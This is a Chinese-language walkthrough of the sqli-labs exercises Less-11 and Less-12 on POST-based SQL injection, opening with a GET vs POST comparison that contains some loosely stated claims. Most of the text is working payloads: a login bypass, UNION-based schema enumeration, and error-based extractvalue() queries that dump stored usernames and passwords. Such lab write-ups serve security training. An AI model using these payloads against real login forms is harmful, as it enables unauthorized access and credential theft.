接下来的是post型注入
Get与post的区别
1. get是从服务器上获取数据,post是向服务器传送数据。
2. GET请求把参数包含在URL中,将请求信息放在URL后面,POST请求通过request body传递参数,将请求信息放置在报文体中。
3. get传送的数据量较小,不能大于2KB。post传送的数据量较大,一般被默认为不受限制。但理论上,IIS4中最大量为80KB,IIS5中为100KB。
4. get安全性非常低,get设计成传输数据,一般都在地址栏里面可以看到,post安全性较高,post传递数据比较隐私,所以在地址栏看不到, 如果没有加密,他们安全级别都是一样的,随便一个监听器都可以把所有的数据监听到。
5. GET请求能够被缓存,GET请求会保存在浏览器的浏览记录中,以GET请求的URL能够保存为浏览器书签,post请求不具有这些功能。
6. HTTP的底层是TCP/IP,GET和POST的底层也是TCP/IP,也就是说,GET/POST都是TCP链接。GET和POST能做的事情是一样一样的。你要给GET加上request body,给POST带上url参数,技术上是完全行的通的。
**7.**GET产生一个TCP数据包,对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据);POST产生两个TCP数据包,对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据),并不是所有浏览器都会在POST中发送两次包,Firefox就只发送一次。
Less-11 POST - 基于错误的- 单引号 - 字符型
源代码
我们可以Hackbar插件中输入语句,这样好改注入语句
知道了是字符型单引号注入,那么测试一下是不是注入点:
1’ or 1=1 – #
成功登陆,说明这就是一个注入点,后台形成的 sql 语句为
@$sql=”SELECT username, password FROM users WHERE username=’1’ or 1=1 – # and password=’$passwd’ LIMIT 0,1”;
在#以后的内容就被注释掉,前面的内容因为 or 1=1 恒成立,所以语句就成立,登录成功。
4.接下来就是获取字段数,我们知道Less1-4中通过 ?id=数据 order by n – # 返回的信息猜解出字段数n=3,但他的前提是这个 “数据”是true才行,而我们这里用 1’ order by n – #肯定不行的,因为该数据库中根本就没有用户名为1的用户啊,除非你知道有Dum用户,然后 Dumb’ order by n – #得出n=2,那如何解决,逆向思维,直接利用union联合注入,让你前一个条件为false,然后直接执行后面的select语句,构造payload: -1’ union select 1,2– # 结果返回用户名和密码说明字段数为2
5.字段数知道了,那么直接爆数据库—-得到security数据库:
爆当前数据库:
uname=-1’ union select 1,database()– #&passwd=1
爆所有的数据库:
uname=-1’ union select 1,group_concat(schema_name) from information_schema.schemata– #&passwd=1
6.爆数据表—-得到我们需要的users表
uname=-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()– #&passwd=1
7.爆users表的字段(列)
uname=1&passwd=-1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ and table_schema=database()– #
8.爆users表的数据:
uname=1&passwd=-1’ union select group_concat(username),group_concat(password) from users– #
Less-12 基于错误的双引号POST型字符型变形的注入
由题意可知,这道题有双引号闭合的问题,于是分别在输入框输入 1” 和 1,查看报错信息:
报错信息出现了一个小括号,说明这是带一个括号的双引号注入
那么同理,我们只需把Less-11操作中的 ‘ 换成 “) 其余操作不变;
利用extractvalue()函数进行报错注入:
爆库
uname=1” and extractvalue(1,concat(0x7e,(select database()))) and “ &passwd=1
爆表
uname=1” and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and “ &passwd=1
爆列名:
uname=1” and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’))) and “ &passwd=1
爆值:
uname=1” and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) and “ &passwd=1